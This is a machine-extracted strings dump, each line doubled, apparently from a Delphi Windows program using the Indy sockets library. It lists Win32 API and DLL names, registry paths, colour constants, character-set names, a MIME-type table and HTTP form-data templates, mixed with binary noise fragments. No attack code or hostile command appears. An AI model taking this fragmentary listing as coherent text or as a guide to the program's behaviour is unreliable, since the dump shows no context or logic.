GetKeyState

GetKeyState

GetKeyNameTextW

GetKeyNameTextW

EnumWindows

EnumWindows

EnumThreadWindows

EnumThreadWindows

EnumChildWindows

EnumChildWindows

ActivateKeyboardLayout

ActivateKeyboardLayout

msimg32.dll

msimg32.dll

gdi32.dll

gdi32.dll

SetViewportOrgEx

SetViewportOrgEx

version.dll

version.dll

GetCPInfo

GetCPInfo

CreateIoCompletionPort

CreateIoCompletionPort

RegUnLoadKeyW

RegUnLoadKeyW

RegSaveKeyW

RegSaveKeyW

RegRestoreKeyW

RegRestoreKeyW

RegReplaceKeyW

RegReplaceKeyW

RegQueryInfoKeyW

RegQueryInfoKeyW

RegLoadKeyW

RegLoadKeyW

RegFlushKey

RegFlushKey

RegEnumKeyExW

RegEnumKeyExW

RegDeleteKeyW

RegDeleteKeyW

RegCreateKeyExW

RegCreateKeyExW

ole32.dll

ole32.dll

comctl32.dll

comctl32.dll

shell32.dll

shell32.dll

ShellExecuteW

ShellExecuteW

winspool.drv

winspool.drv

netapi32.dll

netapi32.dll

uxtheme.dll

uxtheme.dll

DWMAPI.DLL

DWMAPI.DLL

windowscodecs.dll

windowscodecs.dll

0$0,0004080

0$0,0004080

: ;&;,;7;

: ;&;,;7;

5?5t5%6S6{6

5?5t5%6S6{6

7%8S8z8

7%8S8z8

= >$>(>,>0>4>

= >$>(>,>0>4>

;'

;'

2>=>

2>=>

5%6s6

5%6s6

2$2 232[2

2$2 232[2

:":(:1:9:

:":(:1:9:

7"7)70787

7"7)70787

>8>@>^>

>8>@>^>

9%9 919\9

9%9 919\9

7x7F7Z7i7x7

7x7F7Z7i7x7

:&

:&

383

383

7-7I7}7

7-7I7}7

5 5?5^5}5

5 5?5^5}5

191=1\1`1

191=1\1`1

;!; ;0;?;

;!; ;0;?;

= =$=(=,=0=4=

= =$=(=,=0=4=

: :$:(:,:0:4:8:<:>

: :$:(:,:0:4:8:<:>

; ;$;(;,;0;4;8;@?`?

; ;$;(;,;0;4;8;@?`?

333333333333333333

333333333333333333

33333833

33333833

3333339

3333339

3333333333333338

3333333333333338

:*"*"$3338

:*"*"$3338

3333333

3333333

33333333

33333333

33333333333

33333333333

3333333333338

3333333333338

33338?383

33338?383

333333333333

333333333333

:*3:"$3338

:*3:"$3338

333333333333333

333333333333333

(WebAPP

(WebAPP

KWindows

KWindows

IdTCPServer

IdTCPServer

0IdHTTPHeaderInfo

0IdHTTPHeaderInfo

Font.Charset

Font.Charset

Font.Color

Font.Color

Font.Height

Font.Height

Font.Name

Font.Name

Font.Style

Font.Style

Picture.Data

Picture.Data

(7),01444

(7),01444

'9=82<.342>

'9=82<.342>

version="1.0.0.0"

version="1.0.0.0"

name="Microsoft.Windows.Common-Controls"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

publicKeyToken="6595b64144ccf1df"

MSWHEEL_ROLLMSG

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

MSH_SCROLL_LINES_MSG

%s[%d]

%s[%d]

%s_%d

%s_%d

.Owner

.Owner

USER32.DLL

USER32.DLL

\\?\UNC\

\\?\UNC\

HKEY_CLASSES_ROOT

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_PERFORMANCE_DATA

HKEY_CURRENT_CONFIG

HKEY_CURRENT_CONFIG

HKEY_DYN_DATA

HKEY_DYN_DATA

%s (*.%s)|*.%1:s

%s (*.%s)|*.%1:s

%s (%s)|%1:s|

%s (%s)|%1:s|

SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes

SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes

clWebSnow

clWebSnow

clWebFloralWhite

clWebFloralWhite

clWebLavenderBlush

clWebLavenderBlush

clWebOldLace

clWebOldLace

clWebIvory

clWebIvory

clWebCornSilk

clWebCornSilk

clWebBeige

clWebBeige

clWebAntiqueWhite

clWebAntiqueWhite

clWebWheat

clWebWheat

clWebAliceBlue

clWebAliceBlue

clWebGhostWhite

clWebGhostWhite

clWebLavender

clWebLavender

clWebSeashell

clWebSeashell

clWebLightYellow

clWebLightYellow

clWebPapayaWhip

clWebPapayaWhip

clWebNavajoWhite

clWebNavajoWhite

clWebMoccasin

clWebMoccasin

clWebBurlywood

clWebBurlywood

clWebAzure

clWebAzure

clWebMintcream

clWebMintcream

clWebHoneydew

clWebHoneydew

clWebLinen

clWebLinen

clWebLemonChiffon

clWebLemonChiffon

clWebBlanchedAlmond

clWebBlanchedAlmond

clWebBisque

clWebBisque

clWebPeachPuff

clWebPeachPuff

clWebTan

clWebTan

clWebYellow

clWebYellow

clWebDarkOrange

clWebDarkOrange

clWebRed

clWebRed

clWebDarkRed

clWebDarkRed

clWebMaroon

clWebMaroon

clWebIndianRed

clWebIndianRed

clWebSalmon

clWebSalmon

clWebCoral

clWebCoral

clWebGold

clWebGold

clWebTomato

clWebTomato

clWebCrimson

clWebCrimson

clWebBrown

clWebBrown

clWebChocolate

clWebChocolate

clWebSandyBrown

clWebSandyBrown

clWebLightSalmon

clWebLightSalmon

clWebLightCoral

clWebLightCoral

clWebOrange

clWebOrange

clWebOrangeRed

clWebOrangeRed

clWebFirebrick

clWebFirebrick

clWebSaddleBrown

clWebSaddleBrown

clWebSienna

clWebSienna

clWebPeru

clWebPeru

clWebDarkSalmon

clWebDarkSalmon

clWebRosyBrown

clWebRosyBrown

clWebPaleGoldenrod

clWebPaleGoldenrod

clWebLightGoldenrodYellow

clWebLightGoldenrodYellow

clWebOlive

clWebOlive

clWebForestGreen

clWebForestGreen

clWebGreenYellow

clWebGreenYellow

clWebChartreuse

clWebChartreuse

clWebLightGreen

clWebLightGreen

clWebAquamarine

clWebAquamarine

clWebSeaGreen

clWebSeaGreen

clWebGoldenRod

clWebGoldenRod

clWebKhaki

clWebKhaki

clWebOliveDrab

clWebOliveDrab

clWebGreen

clWebGreen

clWebYellowGreen

clWebYellowGreen

clWebLawnGreen

clWebLawnGreen

clWebPaleGreen

clWebPaleGreen

clWebMediumAquamarine

clWebMediumAquamarine

clWebMediumSeaGreen

clWebMediumSeaGreen

clWebDarkGoldenRod

clWebDarkGoldenRod

clWebDarkKhaki

clWebDarkKhaki

clWebDarkOliveGreen

clWebDarkOliveGreen

clWebDarkgreen

clWebDarkgreen

clWebLimeGreen

clWebLimeGreen

clWebLime

clWebLime

clWebSpringGreen

clWebSpringGreen

clWebMediumSpringGreen

clWebMediumSpringGreen

clWebDarkSeaGreen

clWebDarkSeaGreen

clWebLightSeaGreen

clWebLightSeaGreen

clWebPaleTurquoise

clWebPaleTurquoise

clWebLightCyan

clWebLightCyan

clWebLightBlue

clWebLightBlue

clWebLightSkyBlue

clWebLightSkyBlue

clWebCornFlowerBlue

clWebCornFlowerBlue

clWebDarkBlue

clWebDarkBlue

clWebIndigo

clWebIndigo

clWebMediumTurquoise

clWebMediumTurquoise

clWebTurquoise

clWebTurquoise

clWebCyan

clWebCyan

clWebPowderBlue

clWebPowderBlue

clWebSkyBlue

clWebSkyBlue

clWebRoyalBlue

clWebRoyalBlue

clWebMediumBlue

clWebMediumBlue

clWebMidnightBlue

clWebMidnightBlue

clWebDarkTurquoise

clWebDarkTurquoise

clWebCadetBlue

clWebCadetBlue

clWebDarkCyan

clWebDarkCyan

clWebTeal

clWebTeal

clWebDeepskyBlue

clWebDeepskyBlue

clWebDodgerBlue

clWebDodgerBlue

clWebBlue

clWebBlue

clWebNavy

clWebNavy

clWebDarkViolet

clWebDarkViolet

clWebDarkOrchid

clWebDarkOrchid

clWebMagenta

clWebMagenta

clWebDarkMagenta

clWebDarkMagenta

clWebMediumVioletRed

clWebMediumVioletRed

clWebPaleVioletRed

clWebPaleVioletRed

clWebBlueViolet

clWebBlueViolet

clWebMediumOrchid

clWebMediumOrchid

clWebMediumPurple

clWebMediumPurple

clWebPurple

clWebPurple

clWebDeepPink

clWebDeepPink

clWebLightPink

clWebLightPink

clWebViolet

clWebViolet

clWebOrchid

clWebOrchid

clWebPlum

clWebPlum

clWebThistle

clWebThistle

clWebHotPink

clWebHotPink

clWebPink

clWebPink

clWebLightSteelBlue

clWebLightSteelBlue

clWebMediumSlateBlue

clWebMediumSlateBlue

clWebLightSlateGray

clWebLightSlateGray

clWebWhite

clWebWhite

clWebLightgrey

clWebLightgrey

clWebGray

clWebGray

clWebSteelBlue

clWebSteelBlue

clWebSlateBlue

clWebSlateBlue

clWebSlateGray

clWebSlateGray

clWebWhiteSmoke

clWebWhiteSmoke

clWebSilver

clWebSilver

clWebDimGray

clWebDimGray

clWebMistyRose

clWebMistyRose

clWebDarkSlateBlue

clWebDarkSlateBlue

clWebDarkSlategray

clWebDarkSlategray

clWebGainsboro

clWebGainsboro

clWebDarkGray

clWebDarkGray

clWebBlack

clWebBlack

\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\

\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\

crSQLWait

crSQLWait

%s (%s)

%s (%s)

imm32.dll

imm32.dll

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

%s, ClassID: %s

%s, ClassID: %s

olepro32.dll

olepro32.dll

%d - %s

%d - %s

C:\Builds\TP\indysockets\lib\System\IdStreamVCL.pas

C:\Builds\TP\indysockets\lib\System\IdStreamVCL.pas

C:\Builds\TP\indysockets\lib\System\IdGlobal.pas

C:\Builds\TP\indysockets\lib\System\IdGlobal.pas

%s, %.2d %s %.4d %s %s

%s, %.2d %s %.4d %s %s

%s, %.2d-%s-%.2d %s %s

%s, %.2d-%s-%.2d %s %s

10.5.5

10.5.5

WS2_32.DLL

WS2_32.DLL

getservbyport

getservbyport

WSAAsyncGetServByPort

WSAAsyncGetServByPort

WSAJoinLeaf

WSAJoinLeaf

MSWSOCK.DLL

MSWSOCK.DLL

WSARecvMsg

WSARecvMsg

WSASendMsg

WSASendMsg

Wship6.dll

Wship6.dll

Fwpuclnt.dll

Fwpuclnt.dll

127.0.0.1

127.0.0.1

C:\Builds\TP\indysockets\lib\System\IdStack.pas

C:\Builds\TP\indysockets\lib\System\IdStack.pas

255.255.255.255

255.255.255.255

C:\Builds\TP\indysockets\lib\Core\IdIOHandler.pas

C:\Builds\TP\indysockets\lib\Core\IdIOHandler.pas

0.0.0.0

0.0.0.0

0.0.0.1

0.0.0.1

C:\Builds\TP\indysockets\lib\Core\IdIOHandlerStack.pas

C:\Builds\TP\indysockets\lib\Core\IdIOHandlerStack.pas

ISO_646.irv:1991

ISO_646.irv:1991

ISO_646.basic:1983

ISO_646.basic:1983

ISO_646.irv:1983

ISO_646.irv:1983

csISO16Portuguese

csISO16Portuguese

csISO84Portuguese2

csISO84Portuguese2

windows-936

windows-936

csShiftJIS

csShiftJIS

ISO-8859-1-Windows-3.0-Latin-1

ISO-8859-1-Windows-3.0-Latin-1

csWindows30Latin1

csWindows30Latin1

ISO-8859-1-Windows-3.1-Latin-1

ISO-8859-1-Windows-3.1-Latin-1

csWindows31Latin1

csWindows31Latin1

ISO-8859-2-Windows-Latin-2

ISO-8859-2-Windows-Latin-2

csWindows31Latin2

csWindows31Latin2

ISO-8859-9-Windows-Latin-5

ISO-8859-9-Windows-Latin-5

csWindows31Latin5

csWindows31Latin5

csMicrosoftPublishing

csMicrosoftPublishing

Windows-31J

Windows-31J

csWindows31J

csWindows31J

windows-1250

windows-1250

windows-1251

windows-1251

windows-1252

windows-1252

windows-1253

windows-1253

windows-1254

windows-1254

windows-1255

windows-1255

windows-1256

windows-1256

windows-1257

windows-1257

windows-1258

windows-1258

.nml=animation/narrative

.nml=animation/narrative

.aiff=audio/x-aiff

.aiff=audio/x-aiff

.au=audio/basic

.au=audio/basic

.mid=midi/mid

.mid=midi/mid

.mp3=audio/x-mpg

.mp3=audio/x-mpg

.m3u=audio/x-mpegurl

.m3u=audio/x-mpegurl

.qcp=audio/vnd.qcelp

.qcp=audio/vnd.qcelp

.ra=audio/x-realaudio

.ra=audio/x-realaudio

.wav=audio/x-wav

.wav=audio/x-wav

.gsm=audio/x-gsm

.gsm=audio/x-gsm

.wax=audio/x-ms-wax

.wax=audio/x-ms-wax

.wma=audio/x-ms-wma

.wma=audio/x-ms-wma

.ram=audio/x-pn-realaudio

.ram=audio/x-pn-realaudio

.mjf=audio/x-vnd.AudioExplosion.MjuiceMediaFile

.mjf=audio/x-vnd.AudioExplosion.MjuiceMediaFile

.bmp=image/bmp

.bmp=image/bmp

.gif=image/gif

.gif=image/gif

.jpg=image/jpeg

.jpg=image/jpeg

.jpeg=image/jpeg

.jpeg=image/jpeg

.jpe=image/jpeg

.jpe=image/jpeg

.pict=image/x-pict

.pict=image/x-pict

.png=image/x-png

.png=image/x-png

.svg=image/svg-xml

.svg=image/svg-xml

.tif=image/x-tiff

.tif=image/x-tiff

.rf=image/vnd.rn-realflash

.rf=image/vnd.rn-realflash

.rp=image/vnd.rn-realpix

.rp=image/vnd.rn-realpix

.ico=image/x-icon

.ico=image/x-icon

.art=image/x-jg

.art=image/x-jg

.pntg=image/x-macpaint

.pntg=image/x-macpaint

.qtif=image/x-quicktime

.qtif=image/x-quicktime

.sgi=image/x-sgi

.sgi=image/x-sgi

.targa=image/x-targa

.targa=image/x-targa

.xbm=image/xbm

.xbm=image/xbm

.psd=image/x-psd

.psd=image/x-psd

.pnm=image/x-portable-anymap

.pnm=image/x-portable-anymap

.pbm=image/x-portable-bitmap

.pbm=image/x-portable-bitmap

.pgm=image/x-portable-graymap

.pgm=image/x-portable-graymap

.ppm=image/x-portable-pixmap

.ppm=image/x-portable-pixmap

.rgb=image/x-rgb

.rgb=image/x-rgb

.xbm=image/x-xbitmap

.xbm=image/x-xbitmap

.xpm=image/x-xpixmap

.xpm=image/x-xpixmap

.xwd=image/x-xwindowdump

.xwd=image/x-xwindowdump

.xml=text/xml

.xml=text/xml

.uls=text/iuls

.uls=text/iuls

.txt=text/plain

.txt=text/plain

.rtx=text/richtext

.rtx=text/richtext

.wsc=text/scriptlet

.wsc=text/scriptlet

.rt=text/vnd.rn-realtext

.rt=text/vnd.rn-realtext

.htt=text/webviewhtml

.htt=text/webviewhtml

.htc=text/x-component

.htc=text/x-component

.vcf=text/x-vcard

.vcf=text/x-vcard

.avi=video/x-msvideo

.avi=video/x-msvideo

.flc=video/flc

.flc=video/flc

.mp2=video/mpeg

.mp2=video/mpeg

.mp3=video/mpeg

.mp3=video/mpeg

.mp4=video/mpeg

.mp4=video/mpeg

.mpeg=video/x-mpeg2a

.mpeg=video/x-mpeg2a

.mpa=video/mpeg

.mpa=video/mpeg

.mpe=video/mpeg

.mpe=video/mpeg

.mpg=video/mpeg

.mpg=video/mpeg

.mov=video/quicktime

.mov=video/quicktime

.rv=video/vnd.rn-realvideo

.rv=video/vnd.rn-realvideo

.ivf=video/x-ivf

.ivf=video/x-ivf

.wm=video/x-ms-wm

.wm=video/x-ms-wm

.wmp=video/x-ms-wmp

.wmp=video/x-ms-wmp

.wmv=video/x-ms-wmv

.wmv=video/x-ms-wmv

.wmx=video/x-ms-wmx

.wmx=video/x-ms-wmx

.wvx=video/x-ms-wvx

.wvx=video/x-ms-wvx

.rms=video/vnd.rn-realvideo-secure

.rms=video/vnd.rn-realvideo-secure

.asx=video/x-ms-asf-plugin

.asx=video/x-ms-asf-plugin

.movie=video/x-sgi-movie

.movie=video/x-sgi-movie

.aab=application/x-authorware-bin

.aab=application/x-authorware-bin

.aam=application/x-authorware-map

.aam=application/x-authorware-map

.aas=application/x-authorware-seg

.aas=application/x-authorware-seg

.abw=application/x-abiword

.abw=application/x-abiword

.ai=application/postscript

.ai=application/postscript

.arj=application/x-arj

.arj=application/x-arj

.asf=application/vnd.ms-asf

.asf=application/vnd.ms-asf

.bat=application/x-msdos-program

.bat=application/x-msdos-program

.bcpio=application/x-bcpio

.bcpio=application/x-bcpio

.bz2=application/x-bzip2

.bz2=application/x-bzip2

.cab=application/vnd.ms-cab-compressed

.cab=application/vnd.ms-cab-compressed

.cat=application/vnd.ms-pki.seccat

.cat=application/vnd.ms-pki.seccat

.ccn=application/x-cnc

.ccn=application/x-cnc

.cco=application/x-cocoa

.cco=application/x-cocoa

.cdf=application/x-cdf

.cdf=application/x-cdf

.cer=application/x-x509-ca-cert

.cer=application/x-x509-ca-cert

.chm=application/vnd.ms-htmlhelp

.chm=application/vnd.ms-htmlhelp

.chrt=application/vnd.kde.kchart

.chrt=application/vnd.kde.kchart

.cil=application/vnd.ms-artgalry

.cil=application/vnd.ms-artgalry

.class=application/java-vm

.class=application/java-vm

.com=application/x-msdos-program

.com=application/x-msdos-program

.clp=application/x-msclip

.clp=application/x-msclip

.cpio=application/x-cpio

.cpio=application/x-cpio

.cpt=application/mac-compactpro

.cpt=application/mac-compactpro

.cqk=application/x-calquick

.cqk=application/x-calquick

.crd=application/x-mscardfile

.crd=application/x-mscardfile

.crl=application/pkix-crl

.crl=application/pkix-crl

.csh=application/x-csh

.csh=application/x-csh

.dbf=application/x-dbase

.dbf=application/x-dbase

.dcr=application/x-director

.dcr=application/x-director

.deb=application/x-debian-package

.deb=application/x-debian-package

.dir=application/x-director

.dir=application/x-director

.dist=vnd.apple.installer xml

.dist=vnd.apple.installer xml

.distz=vnd.apple.installer xml

.distz=vnd.apple.installer xml

.dll=application/x-msdos-program

.dll=application/x-msdos-program

.dmg=application/x-apple-diskimage

.dmg=application/x-apple-diskimage

.doc=application/msword

.doc=application/msword

.dot=application/msword

.dot=application/msword

.dvi=application/x-dvi

.dvi=application/x-dvi

.dxr=application/x-director

.dxr=application/x-director

.ebk=application/x-expandedbook

.ebk=application/x-expandedbook

.eps=application/postscript

.eps=application/postscript

.evy=application/envoy

.evy=application/envoy

.exe=application/x-msdos-program

.exe=application/x-msdos-program

.fdf=application/vnd.fdf

.fdf=application/vnd.fdf

.fif=application/fractals

.fif=application/fractals

.flm=application/vnd.kde.kivio

.flm=application/vnd.kde.kivio

.fml=application/x-file-mirror-list

.fml=application/x-file-mirror-list

.gnumeric=application/x-gnumeric

.gnumeric=application/x-gnumeric

.gtar=application/x-gtar

.gtar=application/x-gtar

.gz=application/x-gzip

.gz=application/x-gzip

.hdf=application/x-hdf

.hdf=application/x-hdf

.hlp=application/winhlp

.hlp=application/winhlp

.hpf=application/x-icq-hpf

.hpf=application/x-icq-hpf

.hqx=application/mac-binhex40

.hqx=application/mac-binhex40

.hta=application/hta

.hta=application/hta

.ims=application/vnd.ms-ims

.ims=application/vnd.ms-ims

.ins=application/x-internet-signup

.ins=application/x-internet-signup

.iii=application/x-iphone

.iii=application/x-iphone

.iso=application/x-iso9660-image

.iso=application/x-iso9660-image

.jar=application/java-archive

.jar=application/java-archive

.karbon=application/vnd.kde.karbon

.karbon=application/vnd.kde.karbon

.kfo=application/vnd.kde.kformula

.kfo=application/vnd.kde.kformula

.kon=application/vnd.kde.kontour

.kon=application/vnd.kde.kontour

.kpr=application/vnd.kde.kpresenter

.kpr=application/vnd.kde.kpresenter

.kpt=application/vnd.kde.kpresenter

.kpt=application/vnd.kde.kpresenter

.kwd=application/vnd.kde.kword

.kwd=application/vnd.kde.kword

.kwt=application/vnd.kde.kword

.kwt=application/vnd.kde.kword

.latex=application/x-latex

.latex=application/x-latex

.lha=application/x-lzh

.lha=application/x-lzh

.lcc=application/fastman

.lcc=application/fastman

.lrm=application/vnd.ms-lrm

.lrm=application/vnd.ms-lrm

.lzh=application/x-lzh

.lzh=application/x-lzh

.mpp=application/vnd.ms-project

.mpp=application/vnd.ms-project

.mvb=application/x-msmediaview

.mvb=application/x-msmediaview

.man=application/x-troff-man

.man=application/x-troff-man

.mdb=application/x-msaccess

.mdb=application/x-msaccess

.me=application/x-troff-me

.me=application/x-troff-me

.ms=application/x-troff-ms

.ms=application/x-troff-ms

.msi=application/x-msi

.msi=application/x-msi

.mpkg=vnd.apple.installer xml

.mpkg=vnd.apple.installer xml

.mny=application/x-msmoney

.mny=application/x-msmoney

.nix=application/x-mix-transfer

.nix=application/x-mix-transfer

.oda=application/oda

.oda=application/oda

.odb=application/vnd.oasis.opendocument.database

.odb=application/vnd.oasis.opendocument.database

.odc=application/vnd.oasis.opendocument.chart

.odc=application/vnd.oasis.opendocument.chart

.odf=application/vnd.oasis.opendocument.formula

.odf=application/vnd.oasis.opendocument.formula

.odg=application/vnd.oasis.opendocument.graphics

.odg=application/vnd.oasis.opendocument.graphics

.odi=application/vnd.oasis.opendocument.image

.odi=application/vnd.oasis.opendocument.image

.odm=application/vnd.oasis.opendocument.text-master

.odm=application/vnd.oasis.opendocument.text-master

.odp=application/vnd.oasis.opendocument.presentation

.odp=application/vnd.oasis.opendocument.presentation

.ods=application/vnd.oasis.opendocument.spreadsheet

.ods=application/vnd.oasis.opendocument.spreadsheet

.ogg=application/ogg

.ogg=application/ogg

.odt=application/vnd.oasis.opendocument.text

.odt=application/vnd.oasis.opendocument.text

.otg=application/vnd.oasis.opendocument.graphics-template

.otg=application/vnd.oasis.opendocument.graphics-template

.oth=application/vnd.oasis.opendocument.text-web

.oth=application/vnd.oasis.opendocument.text-web

.otp=application/vnd.oasis.opendocument.presentation-template

.otp=application/vnd.oasis.opendocument.presentation-template

.ots=application/vnd.oasis.opendocument.spreadsheet-template

.ots=application/vnd.oasis.opendocument.spreadsheet-template

.ott=application/vnd.oasis.opendocument.text-template

.ott=application/vnd.oasis.opendocument.text-template

.p7b=application/x-pkcs7-certificates

.p7b=application/x-pkcs7-certificates

.p7r=application/x-pkcs7-certreqresp

.p7r=application/x-pkcs7-certreqresp

.package=application/vnd.autopackage

.package=application/vnd.autopackage

.pfr=application/font-tdpfr

.pfr=application/font-tdpfr

.pkg=vnd.apple.installer xml

.pkg=vnd.apple.installer xml

.pdf=application/pdf

.pdf=application/pdf

.pko=application/vnd.ms-pki.pko

.pko=application/vnd.ms-pki.pko

.pl=application/x-perl

.pl=application/x-perl

.pnq=application/x-icq-pnq

.pnq=application/x-icq-pnq

.pot=application/mspowerpoint

.pot=application/mspowerpoint

.pps=application/mspowerpoint

.pps=application/mspowerpoint

.ppt=application/mspowerpoint

.ppt=application/mspowerpoint

.ppz=application/mspowerpoint

.ppz=application/mspowerpoint

.ps=application/postscript

.ps=application/postscript

.pub=application/x-mspublisher

.pub=application/x-mspublisher

.qpw=application/x-quattropro

.qpw=application/x-quattropro

.qtl=application/x-quicktimeplayer

.qtl=application/x-quicktimeplayer

.rar=application/rar

.rar=application/rar

.rdf=application/rdf xml

.rdf=application/rdf xml

.rjs=application/vnd.rn-realsystem-rjs

.rjs=application/vnd.rn-realsystem-rjs

.rm=application/vnd.rn-realmedia

.rm=application/vnd.rn-realmedia

.rmf=application/vnd.rmf

.rmf=application/vnd.rmf

.rmp=application/vnd.rn-rn_music_package

.rmp=application/vnd.rn-rn_music_package

.rmx=application/vnd.rn-realsystem-rmx

.rmx=application/vnd.rn-realsystem-rmx

.rnx=application/vnd.rn-realplayer

.rnx=application/vnd.rn-realplayer

.rpm=application/x-redhat-package-manager

.rpm=application/x-redhat-package-manager

.rsml=application/vnd.rn-rsml

.rsml=application/vnd.rn-rsml

.rtsp=application/x-rtsp

.rtsp=application/x-rtsp

.rss=application/rss xml

.rss=application/rss xml

.scm=application/x-icq-scm

.scm=application/x-icq-scm

.ser=application/java-serialized-object

.ser=application/java-serialized-object

.sh=application/x-sh

.sh=application/x-sh

.shar=application/x-shar

.shar=application/x-shar

.scd=application/x-msschedule

.scd=application/x-msschedule

.sda=application/vnd.stardivision.draw

.sda=application/vnd.stardivision.draw

.sdc=application/vnd.stardivision.calc

.sdc=application/vnd.stardivision.calc

.sdd=application/vnd.stardivision.impress

.sdd=application/vnd.stardivision.impress

.sdp=application/x-sdp

.sdp=application/x-sdp

.setpay=application/set-payment-initiation

.setpay=application/set-payment-initiation

.setreg=application/set-registration-initiation

.setreg=application/set-registration-initiation

.shw=application/presentations

.shw=application/presentations

.sit=application/x-stuffit

.sit=application/x-stuffit

.skd=application/x-koan

.skd=application/x-koan

.skm=application/x-koan

.skm=application/x-koan

.skp=application/x-koan

.skp=application/x-koan

.skt=application/x-koan

.skt=application/x-koan

.smf=application/vnd.stardivision.math

.smf=application/vnd.stardivision.math

.smi=application/smil

.smi=application/smil

.smil=application/smil

.smil=application/smil

.spl=application/futuresplash

.spl=application/futuresplash

.ssm=application/streamingmedia

.ssm=application/streamingmedia

.sst=application/vnd.ms-pki.certstore

.sst=application/vnd.ms-pki.certstore

.stc=application/vnd.sun.xml.calc.template

.stc=application/vnd.sun.xml.calc.template

.std=application/vnd.sun.xml.draw.template

.std=application/vnd.sun.xml.draw.template

.sti=application/vnd.sun.xml.impress.template

.sti=application/vnd.sun.xml.impress.template

.stl=application/vnd.ms-pki.stl

.stl=application/vnd.ms-pki.stl

.stw=application/vnd.sun.xml.writer.template

.stw=application/vnd.sun.xml.writer.template

.svi=application/softvision

.svi=application/softvision

.sv4cpio=application/x-sv4cpio

.sv4cpio=application/x-sv4cpio

.sv4crc=application/x-sv4crc

.sv4crc=application/x-sv4crc

.swf=application/x-shockwave-flash

.swf=application/x-shockwave-flash

.sxc=application/vnd.sun.xml.calc

.sxc=application/vnd.sun.xml.calc

.sxi=application/vnd.sun.xml.impress

.sxi=application/vnd.sun.xml.impress

.sxm=application/vnd.sun.xml.math

.sxm=application/vnd.sun.xml.math

.sxw=application/vnd.sun.xml.writer

.sxw=application/vnd.sun.xml.writer

.sxg=application/vnd.sun.xml.writer.global

.sxg=application/vnd.sun.xml.writer.global

.tar=application/x-tar

.tar=application/x-tar

.tcl=application/x-tcl

.tcl=application/x-tcl

.tex=application/x-tex

.tex=application/x-tex

.texi=application/x-texinfo

.texi=application/x-texinfo

.texinfo=application/x-texinfo

.texinfo=application/x-texinfo

.tr=application/x-troff

.tr=application/x-troff

.trm=application/x-msterminal

.trm=application/x-msterminal

.troff=application/x-troff

.troff=application/x-troff

.tsp=application/dsptype

.tsp=application/dsptype

.tgz=application/x-compressed

.tgz=application/x-compressed

.torrent=application/x-bittorrent

.torrent=application/x-bittorrent

.ttz=application/t-time

.ttz=application/t-time

.uin=application/x-icq

.uin=application/x-icq

.urls=application/x-url-list

.urls=application/x-url-list

.ustar=application/x-ustar

.ustar=application/x-ustar

.vcd=application/x-cdlink

.vcd=application/x-cdlink

.vor=application/vnd.stardivision.writer

.vor=application/vnd.stardivision.writer

.vsl=application/x-cnet-vsl

.vsl=application/x-cnet-vsl

.wcm=application/vnd.ms-works

.wcm=application/vnd.ms-works

.wb1=application/x-quattropro

.wb1=application/x-quattropro

.wb2=application/x-quattropro

.wb2=application/x-quattropro

.wb3=application/x-quattropro

.wb3=application/x-quattropro

.wdb=application/vnd.ms-works

.wdb=application/vnd.ms-works

.wks=application/vnd.ms-works

.wks=application/vnd.ms-works

.wmd=application/x-ms-wmd

.wmd=application/x-ms-wmd

.wms=application/x-ms-wms

.wms=application/x-ms-wms

.wmz=application/x-ms-wmz

.wmz=application/x-ms-wmz

.wp5=application/wordperfect5.1

.wp5=application/wordperfect5.1

.wpd=application/wordperfect

.wpd=application/wordperfect

.wpl=application/vnd.ms-wpl

.wpl=application/vnd.ms-wpl

.wps=application/vnd.ms-works

.wps=application/vnd.ms-works

.wri=application/x-mswrite

.wri=application/x-mswrite

.xfdf=application/vnd.adobe.xfdf

.xfdf=application/vnd.adobe.xfdf

.xls=application/x-msexcel

.xls=application/x-msexcel

.xlb=application/x-msexcel

.xlb=application/x-msexcel

.xpi=application/x-xpinstall

.xpi=application/x-xpinstall

.xps=application/vnd.ms-xpsdocument

.xps=application/vnd.ms-xpsdocument

.xsd=application/vnd.sun.xml.draw

.xsd=application/vnd.sun.xml.draw

.xul=application/vnd.mozilla.xul xml

.xul=application/vnd.mozilla.xul xml

.zoo=application/x-zoo

.zoo=application/x-zoo

.zip=application/x-zip-compressed

.zip=application/x-zip-compressed

.wbmp=image/vnd.wap.wbmp

.wbmp=image/vnd.wap.wbmp

.wml=text/vnd.wap.wml

.wml=text/vnd.wap.wml

.wmlc=application/vnd.wap.wmlc

.wmlc=application/vnd.wap.wmlc

.wmls=text/vnd.wap.wmlscript

.wmls=text/vnd.wap.wmlscript

.wmlsc=application/vnd.wap.wmlscriptc

.wmlsc=application/vnd.wap.wmlscriptc

.pas=text/x-pascal

.pas=text/x-pascal

.hpp=text/x-c hdr

.hpp=text/x-c hdr

.hxx=text/x-c hdr

.hxx=text/x-c hdr

.hh=text/x-c hdr

.hh=text/x-c hdr

.cpp=text/x-c src

.cpp=text/x-c src

.cxx=text/x-c src

.cxx=text/x-c src

.cc=text/x-c src

.cc=text/x-c src

.java=text/x-java

.java=text/x-java

.css=text/css

.css=text/css

.js=text/javascript

.js=text/javascript

.htm=text/html

.htm=text/html

.html=text/html

.html=text/html

.ls=text/javascript

.ls=text/javascript

.mocha=text/javascript

.mocha=text/javascript

.shtml=server-parsed-html

.shtml=server-parsed-html

.sgm=text/sgml

.sgm=text/sgml

.sgml=text/sgml

.sgml=text/sgml

C:\Builds\TP\indysockets\lib\Protocols\IdGlobalProtocols.pas

C:\Builds\TP\indysockets\lib\Protocols\IdGlobalProtocols.pas

()@,;:\"/[]?=

()@,;:\"/[]?=

()@,;:\"/[]?=

()@,;:\"/[]?=

Content-Disposition: form-data; name="%s"; filename="%s"

Content-Disposition: form-data; name="%s"; filename="%s"

Content-Type: %s

Content-Type: %s

Content-Disposition: form-data; name="%s"

Content-Disposition: form-data; name="%s"

*#% []

*#% []

*#% []

*#% []

HTTPS

